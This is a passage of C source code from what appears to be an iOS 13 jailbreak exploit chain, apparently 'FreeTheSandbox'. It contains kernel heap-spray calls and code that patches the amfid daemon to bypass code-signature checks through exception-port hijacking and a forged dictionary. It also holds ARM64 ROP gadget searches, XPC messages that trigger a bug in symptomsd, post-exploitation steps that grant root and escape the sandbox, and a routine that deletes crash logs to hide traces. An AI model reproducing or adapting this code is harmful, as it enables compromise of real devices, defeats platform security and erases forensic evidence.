*(uint32_t*)(input_stru + 88) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 92) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 96) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 100) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 104) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 108) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 112) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 116) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 120) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 124) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 128) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 132) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 136) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 140) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 144) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 148) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 152) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 156) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 160) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 164) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 168) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 172) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 176) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 180) = InitInfo_surfaceId; size_t output_stru_size = 4; char output_stru[4] = {0}; for(int i=0; i<80; i++){ IOConnectCallStructMethod(ioconn, 7, input_stru, 0x110, output_stru, &output_stru_size); } } hohoo222(); TT2_send_spray_smallspray(); // seal up remaining hols for(int i=0; i last_v)){ if((kObject_clientbuf - last_v) == 0x2c000){ if((uint16_t)kObject_clientbuf != 0x0000){ printf(" Found the right clientbuf! 0x%llx\n", kObject_clientbuf); break; } } } if(last_v == 0){ if((uint16_t)kObject_clientbuf != 0x0000){ printf(" Found the right clientbuf! 0x%llx\n", kObject_clientbuf); break; } } last_v = kObject_clientbuf; if(add_new_client() == 1){ // when client list is full printf("client list is full.\n"); for(int i=0; i= arrCnt){ idx = arrCnt - 1; } return CFArrayGetValueAtIndex(theArray, idx); } void *cdhashFor(char *file){ SecStaticCodeRef staticCode = NULL; CFStringRef cfstr_path = CFStringCreateWithCString(kCFAllocatorDefault, file, kCFStringEncodingUTF8); CFURLRef cfurl = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, cfstr_path, kCFURLPOSIXPathStyle, false); CFRelease(cfstr_path); OSStatus result = SecStaticCodeCreateWithPathAndAttributes(cfurl, kSecCSDefaultFlags, NULL, &staticCode); CFRelease(cfurl); if (result != 0) { if (_SecCopyErrorMessageString != NULL) { CFStringRef error = _SecCopyErrorMessageString(result, NULL); (printf)("Unable to generate cdhash for %s: %s\n", file, CFStringGetCStringPtr(error, kCFStringEncodingUTF8)); CFRelease(error); } else { (printf)("Unable to generate cdhash for %s: %d\n", file, result); } return nil; } CFDictionaryRef signinginfo; result = SecCodeCopySigningInformation(staticCode, kSecCSDefaultFlags, &signinginfo); CFRelease(staticCode); if (result != 0) { (printf)("Unable to copy cdhash info for %s\n", file); return NULL; } CFArrayRef cdhashes = CFDictionaryGetValue(signinginfo, CFSTR("cdhashes")); CFArrayRef algos = CFDictionaryGetValue(signinginfo, CFSTR("digest-algorithms")); int algoIndex = -1; CFNumberRef nn = CFArrayGetValueAtIndex_prevenOverFlow(algos, requiredHash); if(nn){ CFNumberGetValue(nn, kCFNumberIntType, &algoIndex); } //(printf)("cdhashesCnt: %d\n", CFArrayGetCount(cdhashes)); //(printf)("algosCnt: %d\n", CFArrayGetCount(algos)); CFDataRef cdhash = NULL; if (cdhashes == NULL) { (printf)("%s: no cdhashes\n", file); } else if (algos == NULL) { (printf)("%s: no algos\n", file); } else if (algoIndex == -1) { (printf)("%s: does not have %s hash", cdHashName[requiredHash], file); } else { cdhash = CFArrayGetValueAtIndex_prevenOverFlow(cdhashes, requiredHash); if (cdhash == NULL) { (printf)("%s: missing %s cdhash entry\n", file, cdHashName[requiredHash]); } } if(cdhash == NULL){ CFRelease(signinginfo); return NULL; } //(printf)("cdhash len: %d\n", CFDataGetLength(cdhash)); char *rv = calloc(1, 20); memcpy(rv, CFDataGetBytePtr(cdhash), 20); CFRelease(signinginfo); return rv; } void *Build_ValidateSignature_dic(uint8_t *input_cdHash, size_t *out_size, uint64_t shadowp){ // Build a self-contained, remote-address-adapted CFDictionary instance CFDataRef _cfhash_cfdata = CFDataCreate(kCFAllocatorDefault, input_cdHash, 20); void *cfhash_cfdata = (void*)_cfhash_cfdata; const char *iomatch_key = "CdHash"; size_t key_len = strlen(iomatch_key) + 0x11; key_len = (~0xF) & (key_len + 0xF); size_t value_len = 0x60; // size of self-contained CFData instance value_len = (~0xF) & (value_len + 0xF); size_t total_len = key_len + value_len + 0x20; *out_size = total_len; void *writep = calloc(1, total_len); char *realCFString = (char*)CFStringCreateWithCString(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", kCFStringEncodingUTF8); char *keys[] = {realCFString}; char *values[] = {realCFString}; char *realCFDic = (char*)CFDictionaryCreate(0, (const void**)keys, (const void**)values, 1, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFRetain(realCFDic); // Pump in some extra lifes CFRetain(realCFDic); CFRetain(realCFDic); CFRetain(realCFDic); memcpy(writep, realCFDic, 0x20); writep = writep + total_len - value_len; shadowp = shadowp + total_len - value_len; uint64_t value = shadowp; memcpy(writep, cfhash_cfdata, 0x60); CFRelease(cfhash_cfdata); writep -= key_len; shadowp -= key_len; uint64_t key = shadowp; *(uint64_t*)(writep) = *(uint64_t*)realCFString; *(uint64_t*)(writep + 8) = *(uint64_t*)(realCFString + 8); *(uint8_t*)(writep + 16) = strlen(iomatch_key); memcpy(writep + 17, iomatch_key, strlen(iomatch_key)); writep -= 0x20; shadowp -= 0x20; *(uint64_t*)(writep + 0x8) = value; *(uint64_t*)(writep + 0x10) = key; CFRelease(realCFDic); CFRelease(realCFDic); CFRelease(realCFDic); CFRelease(realCFDic); CFRelease(realCFDic); CFRelease(realCFString); return writep; } uint64_t reserved_mem_in_amfid = 0; uint64_t update_cdhash_in_amfid = 0; uint64_t update_retainCnt_in_amfid = 0; void* amfid_exception_handler(void* arg){ uint32_t size = 0x1000; mach_msg_header_t* msg = malloc(size); for(;;){ kern_return_t err; //printf("calling mach_msg to receive exception message from amfid\n"); err = mach_msg(msg, MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout 0, size, amfid_exception_port, 0, 0); if (err != KERN_SUCCESS){ //printf("error receiving on exception port: %s\n", mach_error_string(err)); } else { //(printf)("got exception message from amfid!\n"); exception_raise_request* req = (exception_raise_request*)msg; mach_port_t thread_port = req->thread.name; mach_port_t task_port = req->task.name; _STRUCT_ARM_THREAD_STATE64 old_state = {0}; mach_msg_type_number_t old_stateCnt = sizeof(old_state)/4; err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&old_state, &old_stateCnt); if (err != KERN_SUCCESS){ //printf("error getting thread state: %s\n", mach_error_string(err)); continue; } _STRUCT_ARM_THREAD_STATE64 new_state; memcpy(&new_state, &old_state, sizeof(_STRUCT_ARM_THREAD_STATE64)); // get the filename pointed to by X23 (or x24 after iOS 13.5) extern bool check_if_amfid_has_entitParser(void); char* filename = rmem(task_port, check_if_amfid_has_entitParser()?new_state.__x[24]:new_state.__x[23], 1024); //(printf)("got filename for amfid request: %s\n", filename); #define TRUST_CDHASH_LEN (20) uint8_t *cdhash = cdhashFor(filename); if(cdhash){ uint32_t offset_to_store = 0x50; if(reserved_mem_in_amfid == 0){ // Allocate a page of memory in amfid, where we stored cfdic for bypass signature valid vm_allocate(task_port, (vm_address_t*)&reserved_mem_in_amfid, 0x4000, VM_FLAGS_ANYWHERE); //(printf)("reserved_mem_in_amfid: 0x%llx\n", reserved_mem_in_amfid); TaskWrite_8bytes(task_port, reserved_mem_in_amfid + 0x28, 0); size_t out_size = 0; char *fakedic = Build_ValidateSignature_dic(cdhash, &out_size, reserved_mem_in_amfid + offset_to_store); TaskWrite_anySize(task_port, reserved_mem_in_amfid + offset_to_store, fakedic, (uint32_t)out_size); update_cdhash_in_amfid = reserved_mem_in_amfid + offset_to_store + 0x70; // To update cdhash in the same cfdic update_retainCnt_in_amfid = *(uint64_t*)(fakedic); // To keep dic away from being release free(fakedic); } else{ if(cdhash){ for (int i = 0; i < TRUST_CDHASH_LEN; i++){ TaskWrite_1byte(task_port, update_cdhash_in_amfid + i, cdhash[i]); } TaskWrite_8bytes(task_port, reserved_mem_in_amfid + offset_to_store, update_retainCnt_in_amfid); } } free(cdhash); } TaskWrite_8bytes(task_port, old_state.__x[2], reserved_mem_in_amfid + 0x50); new_state.__x[8] = reserved_mem_in_amfid; // For the next encouter instr: LDR X0, [X8,#0x28] <- Clear out X0 as success return // set the new thread state: err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&new_state, sizeof(new_state)/4); exception_raise_reply reply = {0}; reply.Head.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(req->Head.msgh_bits), 0); reply.Head.msgh_size = sizeof(reply); reply.Head.msgh_remote_port = req->Head.msgh_remote_port; reply.Head.msgh_local_port = MACH_PORT_NULL; reply.Head.msgh_id = req->Head.msgh_id + 100; reply.NDR = req->NDR; reply.RetCode = KERN_SUCCESS; err = mach_msg(&reply.Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(reply), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); mach_port_deallocate(mach_task_self(), thread_port); mach_port_deallocate(mach_task_self(), task_port); } } return NULL; } void set_exception_handler(mach_port_t amfid_task_port){ // allocate a port to receive exceptions on: mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amfid_exception_port); mach_port_insert_right(mach_task_self(), amfid_exception_port, amfid_exception_port, MACH_MSG_TYPE_MAKE_SEND); kern_return_t err = task_set_exception_ports(amfid_task_port, EXC_MASK_ALL, amfid_exception_port, EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES, // we want to receive a catch_exception_raise message with the thread port for the crashing thread ARM_THREAD_STATE64); if (err != KERN_SUCCESS){ (printf)("error setting amfid exception port: %s\n", mach_error_string(err)); } else { (printf)("set amfid exception port: succeed!\n"); } // spin up a thread to handle exceptions: pthread_t exception_thread; pthread_create(&exception_thread, &pth_commAttr, amfid_exception_handler, NULL); } void patch_amfid(pid_t amfid_pid){ uint32_t amfid_task = 0; task_for_pid(mach_task_self(), amfid_pid, &amfid_task); (printf)("amfid_task: 0x%x\n", amfid_task); set_exception_handler(amfid_task); amfid_base = binary_load_addr(amfid_task); (printf)("amfid_base: 0x%llx\n", amfid_base); vm_protect(amfid_task, mach_vm_trunc_page(amfid_base + amfid_OFFSET_MISValidate_symbol), 0x4000, false, VM_PROT_READ|VM_PROT_WRITE); #if __arm64e__ extern uint64_t PACSupport_pacia(uint64_t code_ptr, uint64_t modifier); uint64_t redirect_pc = PACSupport_pacia(amfid_base + amfid_OFFSET_gadget, amfid_base + amfid_OFFSET_MISValidate_symbol); #else uint64_t redirect_pc = amfid_base + amfid_OFFSET_gadget; #endif TaskWrite_8bytes(amfid_task, amfid_base + amfid_OFFSET_MISValidate_symbol, redirect_pc); } uint64_t find_amfid_OFFSET_MISValidate_symbol(uint8_t *amfid_macho){ uint32_t MISValidate_symIndex = 0; struct mach_header_64 *mh = (struct mach_header_64*)amfid_macho; const uint32_t cmd_count = mh->ncmds; struct load_command *cmds = (struct load_command*)(mh + 1); struct load_command* cmd = cmds; for (uint32_t i = 0; i < cmd_count; ++i){ switch (cmd->cmd) { case LC_SYMTAB:{ struct symtab_command *sym_cmd = (struct symtab_command*)cmd; uint32_t symoff = sym_cmd->symoff; uint32_t nsyms = sym_cmd->nsyms; uint32_t stroff = sym_cmd->stroff; for(int i =0;in_type==0x1){ // 0x1 indicates external function def_str = (char*)mh+(uint32_t)nn->n_un.n_strx + stroff; if(!strcmp(def_str, "_MISValidateSignatureAndCopyInfo")){ break; } } if(i!=0 && i!=1){ // Two at beginning are local symbols, they don't count MISValidate_symIndex++; } } } break; } cmd = (struct load_command*)((char*)cmd + cmd->cmdsize); } if(MISValidate_symIndex == 0){ printf("Error in find_amfid_OFFSET_MISValidate_symbol(): MISValidate_symIndex == 0\n"); exit(1); } const struct section_64 *sect_info = NULL; if(check_if_its_PAC_device()){ const char *_segment = "__DATA_CONST", *_segment2 = "__DATA", *_section = "__auth_got"; // _segment for iOS 13, _segment2 for <= iOS 12 sect_info = getsectbynamefromheader_64((const struct mach_header_64 *)amfid_macho, _segment, _section); if(!sect_info) sect_info = getsectbynamefromheader_64((const struct mach_header_64 *)amfid_macho, _segment2, _section); }else{ const char *_segment = "__DATA", *_section = "__la_symbol_ptr"; sect_info = getsectbynamefromheader_64((const struct mach_header_64 *)amfid_macho, _segment, _section); } if(!sect_info){ printf("Error in find_amfid_OFFSET_MISValidate_symbol(): if(!sect_info)\n"); exit(1); } return sect_info->offset + (MISValidate_symIndex * 0x8); } uint64_t find_amfid_OFFSET_gadget(uint8_t *amfid_macho){ const char *_segment = "__TEXT", *_section = "__text"; const struct section_64 *sect_info = getsectbynamefromheader_64((const struct mach_header_64 *)amfid_macho, _segment, _section); if(!sect_info){ printf("Error in find_amfid_OFFSET_gadget(): if(!sect_info)\n"); exit(1); } unsigned long sect_size = 0; uint64_t sect_data = (uint64_t)getsectiondata((const struct mach_header_64 *)amfid_macho, _segment, _section, §_size); char _bytes_gadget[] = { 0x08, 0x29, 0x09, 0x9B, // madd x8, x8, x9, x10 0x00, 0x15, 0x40, 0xF9, // ldr x0, [x8, #0x28] 0xC0, 0x03, 0x5F, 0xD6, // ret }; char _bytes_gadget2[] = { 0x08, 0x25, 0x2A, 0x9B, // smaddl x8, w8, w10, x9 0x00, 0x15, 0x40, 0xF9, // ldr x0, [x8, #0x28] 0xC0, 0x03, 0x5F, 0xD6, // ret }; uint64_t find_gadget = (uint64_t)memmem((void*)sect_data, sect_size, _bytes_gadget, sizeof(_bytes_gadget)); if(!find_gadget) find_gadget = (uint64_t)memmem((void*)sect_data, sect_size, _bytes_gadget2, sizeof(_bytes_gadget2)); if(!find_gadget){ printf("Error in find_amfid_OFFSET_gadget(): if(!find_gadget)\n"); exit(1); } return (find_gadget - sect_data) + sect_info->offset; } size_t amfid_fsize = 0; uint8_t *map_file_to_mem(const char *path){ struct stat fstat = {0}; stat(path, &fstat); amfid_fsize = fstat.st_size; int fd = open(path, O_RDONLY); uint8_t *mapping_mem = mmap(NULL, mach_vm_round_page(amfid_fsize), PROT_READ, MAP_SHARED, fd, 0); if((int)mapping_mem == -1){ printf("Error in map_file_to_mem(): mmap() == -1\n"); exit(1); } return mapping_mem; } #pragma mark ---- Post-exp ---- Copy Jailbreak Resources #include #include #include void display_ip_address(){ struct ifaddrs *interfaces = NULL; struct ifaddrs *temp_addr = NULL; if(getifaddrs(&interfaces) == 0){ temp_addr = interfaces; while(temp_addr != NULL) { if(temp_addr->ifa_addr->sa_family == AF_INET) { printf(" %s: ", temp_addr->ifa_name); char *ip_addr = inet_ntoa(((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr); printf(" %s\n", ip_addr); } temp_addr = temp_addr->ifa_next; } freeifaddrs(interfaces); }else{ printf("Error: getifaddrs\n"); } } void remove_crash_thats_caused_by_exp(const char *name) { DIR *dir; struct dirent *entry; if (!(dir = opendir(name))){ return; } while ((entry = readdir(dir)) != NULL) { char path[1024]; snprintf(path, sizeof(path), "%s/%s", name, entry->d_name); if(!strncmp(entry->d_name, "symptomsd-", 10)){ remove(path); unlink(path); } } closedir(dir); } void run_post_exp_from_tfp0(){ pth_commAttr_init(); Apply_hardcoded_addresses_and_offsets(); our_proc_kAddr = find_proc_byPID(getpid()); our_task_kAddr = KernelRead_8bytes(our_proc_kAddr + OFFSET_bsd_info_task); safepatch_swap_unsandbox_and_root(our_proc_kAddr); printf("our uid: %d\n", getuid()); // Any any code here will get to run as root and no-sandbox! safepatch_unswap_unsandbox_and_root(our_proc_kAddr); } ================================================ FILE: Exploits/FreeTheSandbox/ios13_userspace.c ================================================ // // ios13_userspace.c // ios13_app1 // // Created by bb on 1/12/20. // Copyright © 2020 bb. All rights reserved. // // Update* For 13.4/13.4.1 Support, started using AOP instead of ROP #if !__arm64e__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "IOKitLib.h" #include "xpc.h" #include "freethesandbox.h" extern kern_return_t bootstrap_look_up(mach_port_t bp, char *service_name, mach_port_t *sp); #pragma pack(4) #define SPRAY_ADDRESS 0x150010000 #define TARGET_MACH_SERVICE "com.apple.usymptomsd" #define TARGET_MACH_SERVICE_2 "com.apple.symptoms.symptomsd.managed_events" #define OF(offset) (offset)/sizeof(uint64_t) #define exit(X) longjmp(jmpb, 1) jmp_buf jmpb; #define MACH_MSG_GUARD_FLAGS_NONE 0x0000 #define MACH_MSG_GUARD_FLAGS_IMMOVABLE_RECEIVE 0x0001 /* Move the receive right and mark it as immovable */ #define MACH_MSG_GUARD_FLAGS_UNGUARDED_ON_SEND 0x0002 /* Verify that the port is unguarded */ #define MACH_MSG_GUARD_FLAGS_MASK 0x0003 /* Valid flag bits */ typedef unsigned int mach_msg_guard_flags_t; /*#define MACH_MSG_GUARDED_PORT_DESCRIPTOR 4 #pragma pack(4) typedef struct{ uint64_t context; mach_msg_guard_flags_t flags : 16; mach_msg_type_name_t disposition : 8; mach_msg_descriptor_type_t type : 8; mach_port_name_t name; } mach_msg_guarded_port_descriptor_t; */ #pragma mark - Pre-exploitation - Our Mach Server mach_port_t our_serverport = 0; void Prepare_our_Mach_server(){ kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &our_serverport); if(our_serverport == 0){ printf("Error occurred when mach_port_allocate: 0x%x!\n", kr); exit(); } } #pragma mark - Pre-exploitation - dyldcache void *dylibcache_start = NULL; size_t dylibcache_size = 0; bool isPartOf_dyldcache(vm_address_t addr){ vm_size_t size = 0; natural_t depth = 0; vm_region_submap_info_data_64_t info; mach_msg_type_number_t info_cnt = VM_REGION_SUBMAP_INFO_COUNT_64; if(vm_region_recurse_64(mach_task_self(), &addr, &size, &depth, (vm_region_info_t)&info, &info_cnt)) return false; if(info.share_mode == SM_TRUESHARED) return true; return false; } size_t Get_loaded_dylib_size(void *dylib_address){ struct mach_header *mh = (struct mach_header*)dylib_address; const uint32_t cmd_count = mh->ncmds; struct load_command *cmds = (struct load_command*)((char*)mh+sizeof(struct mach_header_64)); struct load_command* cmd = cmds; for (uint32_t i = 0; i < cmd_count; ++i){ switch (cmd->cmd) { case LC_SEGMENT_64:{ struct segment_command_64 *seg = (struct segment_command_64*)cmd; if(!strcmp(seg->segname,"__TEXT")){ return seg->vmsize; } } break; } cmd = (struct load_command*)((char*)cmd + cmd->cmdsize); } return 0; } void Find_dylibcache(){ vm_address_t minAddr = 0; vm_address_t maxAddr = 0; for (uint32_t i = 0; i < _dyld_image_count(); i++){ uint64_t addr = (uint64_t)_dyld_get_image_header(i); const char *name = _dyld_get_image_name(i); if(strncmp(name, "/System/", 8) && strncmp(name, "/usr/", 5)) continue; if(!isPartOf_dyldcache(addr)) continue; if(!minAddr || addr < minAddr) minAddr = addr; if(addr > maxAddr) maxAddr = addr; } if(!minAddr||!maxAddr){ printf("dylibcache Not Ready!\n"); exit(); } size_t last_dylib_size = Get_loaded_dylib_size((void*)maxAddr); dylibcache_start = (void*)minAddr; dylibcache_size = (size_t)((maxAddr + last_dylib_size) - minAddr); printf("Dylibcache range: %p - %p\n", dylibcache_start, dylibcache_start + dylibcache_size); } #pragma mark - Pre-exploitation - arm64 ROP gadgets uint64_t find_gadget(char *bytes, size_t len){ void *addr = memmem(dylibcache_start, dylibcache_size, bytes, len); if(!addr){ printf("Gadget didn't find, len:0x%zx\n",len); exit(); } return (uint64_t)addr; } uint64_t find_gadget_speed(char *bytes, size_t len, void *findingRange_start, uint64_t findingRange_size){ void *addr = memmem(findingRange_start, findingRange_size, bytes, len); if(!addr){ printf("Gadget didn't find, len:0x%zx\n",len); } return (uint64_t)addr; } char _bytes_control_x0x2[] = { 0xF3, 0x03, 0x00, 0xAA, // mov x19, x0 0x08, 0x00, 0x42, 0xA9, // ldp x8, x0, [x0, #0x20] 0x61, 0x3A, 0x40, 0xB9, // ldr w1, [x19, #0x38] 0x62, 0x1A, 0x40, 0xF9, // ldr x2, [x19, #0x30] 0x00, 0x01, 0x3f, 0xd6, // blr x8 }; // Found at CoreUtils`___WiFiSWAPStartCallBack_block_invoke: <+16> #define _Gadget_control_x0x2 find_gadget_speed(_bytes_control_x0x2,sizeof(_bytes_control_x0x2),findingRange_start,findingRange_size) uint64_t Gadget_control_x0x2 = 0; char _bytes_memcopy[] = { 0x08, 0x00, 0x40, 0xB9, // ldr w8, [x0] 0x68, 0x00, 0x00, 0xB9, // str w8, [x3] 0xC0, 0x03, 0x5F, 0xD6, // ret }; // Found at libwebrtc.dylib`ScaleARGBRowDownEven_C: <+68> #define _Gadget_memcopy find_gadget_speed(_bytes_memcopy,sizeof(_bytes_memcopy),findingRange_start,findingRange_size) uint64_t Gadget_memcopy = 0; #define aop_FuncCALL(FUNC, ARG1, ARG2, ARG3, ARG4) \ spraymem[OF(_aop_FuncCALL_primer_offset)] = spray_start_address + _aop_FuncCALL_offset; \ {char *func_call_payload = ((char*)spraymem) + _aop_FuncCALL_offset; \ _aop_FuncCALL_primer_offset += 8; \ _aop_FuncCALL_offset += 0x74; \ *(uint32_t*)(func_call_payload + 20) = 53; \ *(uint64_t*)(func_call_payload) = 0; \ *(uint32_t*)(func_call_payload + 8) = 0; \ char *tmp_ha = func_call_payload + 24; /* Saved an offset later gonna involves multiple time */ \ *(uint32_t*)(tmp_ha + 4) = 150; \ *(uint32_t*)(func_call_payload + 4) = 116; \ *(uint64_t*)(tmp_ha + 16) = FUNC; /* func ptr */ \ *(uint64_t*)(tmp_ha + 24) = ARG1; /* arg1 */ \ *(uint32_t*)(tmp_ha + 72) = ARG2; /* arg2 (Only 32bits)*/ \ *(uint64_t*)(tmp_ha + 76) = ARG3; /* arg3 */ \ *(uint64_t*)(tmp_ha + 84) = ARG4;} // arg4 #define aop_FuncCALL_memcpy_32bits(dst, src) \ aop_FuncCALL((void*)Gadget_memcopy, src, 0, 0, dst) #define aop_Insert_String(VAR, STR) \ size_t _##VAR##_len = strlen(STR) + 1; \ uint64_t VAR = spray_start_address + _aop_data_offset; \ memcpy((char*)spraymem + _aop_data_offset, STR, _##VAR##_len); \ _##VAR##_len = (~0xF) & (_##VAR##_len + 0xF); \ _aop_data_offset += _##VAR##_len; #define aop_Insert_Data(VAR, DATA, SIZE) \ size_t _##VAR##_SIZE = SIZE; \ uint64_t VAR = spray_start_address + _aop_data_offset; \ memcpy((char*)spraymem + _aop_data_offset, DATA, _##VAR##_SIZE); \ _##VAR##_SIZE = (~0xF) & (_##VAR##_SIZE + 0xF); \ _aop_data_offset += _##VAR##_SIZE; void Find_Gadgets_speed(){ #define _SEEK(V) if(!(V = _##V)){printf("No "#V" Found!\n");exit(0);} const char *target_lib_1 = "/System/Library/PrivateFrameworks/CoreUtils.framework/CoreUtils"; const char *target_lib_2 = "/System/Library/PrivateFrameworks/WebCore.framework/Frameworks/libwebrtc.dylib"; dlopen(target_lib_1, RTLD_NOW); dlopen(target_lib_2, RTLD_NOW); for (uint32_t i = 0; i < _dyld_image_count(); i++){ const char *name = _dyld_get_image_name(i); if(!strcmp(name, target_lib_1)){ void *findingRange_start = (void*)_dyld_get_image_header(i); uint64_t findingRange_size = (uint64_t)Get_loaded_dylib_size(findingRange_start); _SEEK(Gadget_control_x0x2); } else if(!strcmp(name, target_lib_2)){ void *findingRange_start = (void*)_dyld_get_image_header(i); uint64_t findingRange_size = (uint64_t)Get_loaded_dylib_size(findingRange_start); _SEEK(Gadget_memcopy); } } } uint32_t get_server_port(char *servername){ // Can use for check connection as well uint32_t port = 0; bootstrap_look_up(bootstrap_port, servername, &port); if(!port){ printf("%s lookup failed\n", servername); return 0; } printf("got server: 0x%x\n", port); return port; } void mach_msg_conn_test(){ printf("w\n"); mach_port_t server_port = get_server_port(""); printf("server_port: 0x%x\n", server_port); struct routine1_msg{ mach_msg_header_t Head; mach_msg_body_t msgh_body; mach_msg_ool_descriptor_t ool; mach_msg_port_descriptor_t port; mach_msg_trailer_t trailer; }; struct routine1_msg *msg = malloc(sizeof(struct routine1_msg)); bzero(msg, sizeof(struct routine1_msg)); mach_port_t reply_port = mig_get_reply_port(); msg->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); msg->Head.msgh_size = 80; msg->Head.msgh_remote_port = server_port; msg->Head.msgh_local_port = reply_port; msg->Head.msgh_id = 0x6F0; msg->msgh_body.msgh_descriptor_count = 2; mach_port_t shared_port_parent; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &shared_port_parent); msg->port.name = server_port; msg->port.disposition = MACH_MSG_TYPE_MOVE_SEND; msg->port.type = MACH_MSG_PORT_DESCRIPTOR; msg->ool.address = "AAAAAAAAA"; msg->ool.size = 3; msg->ool.copy = MACH_MSG_VIRTUAL_COPY; msg->ool.deallocate = false; msg->ool.type = MACH_MSG_OOL_DESCRIPTOR; int rt = mach_msg(msg, MACH_SEND_MSG|MACH_RCV_MSG, msg->Head.msgh_size, sizeof(struct routine1_msg), reply_port, 0, 0); if(rt == 0){ printf("reply: 0x%x\n", msg->Head.msgh_bits); printf("reply size: %d\n", msg->Head.msgh_size); printf("id: %d\n", msg->Head.msgh_id); }else{ printf("msg err: 0x%x\n", rt); } } void click_test_main(){ mach_msg_conn_test(); } void xpc_conn_test(){ xpc_connection_t ccc = xpc_connection_create_mach_service("com.apple.usymptomsd", NULL, 0); xpc_connection_set_event_handler(ccc, ^(xpc_object_t object) { //printf("replyA\n"); //char *err = xpc_dictionary_get_string(object, XPC_ERROR_KEY_DESCRIPTION); //printf("erra: %s\n", err); }); xpc_connection_resume(ccc); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); //xpc_dictionary_set_int64(msg, "op", 2); //xpc_dictionary_set_int64(msg, "dat1", 66); size_t payload_len = 0x1; char *payload = malloc(payload_len); xpc_dictionary_set_value(msg, "payload", xpc_data_create(payload, payload_len)); xpc_connection_send_message_with_reply(ccc, msg, dispatch_get_main_queue(), ^(xpc_object_t object) { pid_t server_pid = xpc_connection_get_pid(ccc); printf("server pid: %d\n", server_pid); //printf("replyB: %s\n", xpc_copy_description(object)); }); } void xpc_conn_test_exp1(){ xpc_connection_t xpcconn = xpc_connection_create_mach_service("com.apple.symptoms.symptomsd.managed_events", NULL, 0); xpc_connection_set_event_handler(xpcconn, ^(xpc_object_t object) { //printf("replyA\n"); //char *err = xpc_dictionary_get_string(object, XPC_ERROR_KEY_DESCRIPTION); //printf("erra: %s\n", err); }); xpc_connection_resume(xpcconn); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(msg, "type", 2); // case 2/3 xpc_object_t config_arr = xpc_array_create(NULL, 0); xpc_dictionary_set_value(msg, "config", config_arr); xpc_object_t each_config = xpc_dictionary_create(NULL, NULL, 0); // Parse by -[ConfigurationHandler read:returnedValues:] xpc_array_append_value(config_arr, each_config); xpc_dictionary_set_string(each_config, "GENERIC_CONFIG_TARGET", "com.apple.symptoms.test.request-passthrough"); // [knownItems objectForKey: ???] xpc_object_t signature_arr = xpc_array_create(NULL, 0); xpc_dictionary_set_value(each_config, "TRIGGERED_SIGNATURES", signature_arr); // Enter -[SimpleSymptomEvaluator configureInstance:] xpc_object_t each_signature = xpc_dictionary_create(NULL, NULL, 0); xpc_array_append_value(signature_arr, each_signature); xpc_dictionary_set_string(each_signature, "SIGNATURE_NAME", "HAHA"); xpc_dictionary_set_string(each_signature, "SYNDROME_NAME", "HAHA2"); xpc_dictionary_set_string(each_signature, "ADDITIONAL_INFO_GENERATOR", "CertificateErrors"); xpc_dictionary_set_string(each_signature, "ADDITIONAL_INFO_SELECTOR", "conditionMinCount"); xpc_connection_send_message_with_reply(xpcconn, msg, dispatch_get_main_queue(), ^(xpc_object_t object) { //printf("replyB: %s\n", xpc_copy_description(object)); }); } void xpc_conn_test_forTrigger(){ xpc_connection_t xpcconn = xpc_connection_create_mach_service("com.apple.symptoms.symptomsd.managed_events", NULL, 0); xpc_connection_set_event_handler(xpcconn, ^(xpc_object_t object) { //printf("replyA\n"); }); xpc_connection_resume(xpcconn); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(msg, "type", 2); // case 2/3 xpc_object_t config_arr = xpc_array_create(NULL, 0); xpc_dictionary_set_value(msg, "config", config_arr); xpc_object_t each_config = xpc_dictionary_create(NULL, NULL, 0); // Parse by -[ConfigurationHandler read:returnedValues:] xpc_array_append_value(config_arr, each_config); xpc_dictionary_set_string(each_config, "GENERIC_CONFIG_TARGET", "CertificateErrors"); // [knownItems objectForKey: ???] xpc_dictionary_set_string(each_config, "REQUIRED_MINIMUM_COUNT", "5637210112"); // Turn SPRAY_ADDRESS to Decimal xpc_connection_send_message_with_reply(xpcconn, msg, dispatch_get_main_queue(), ^(xpc_object_t object) { //printf("replyB: %s\n", xpc_copy_description(object)); }); } // Look up service: com.apple.usymptomsd uint8_t bootstrap_look_up_machmsg_bytes[244] = 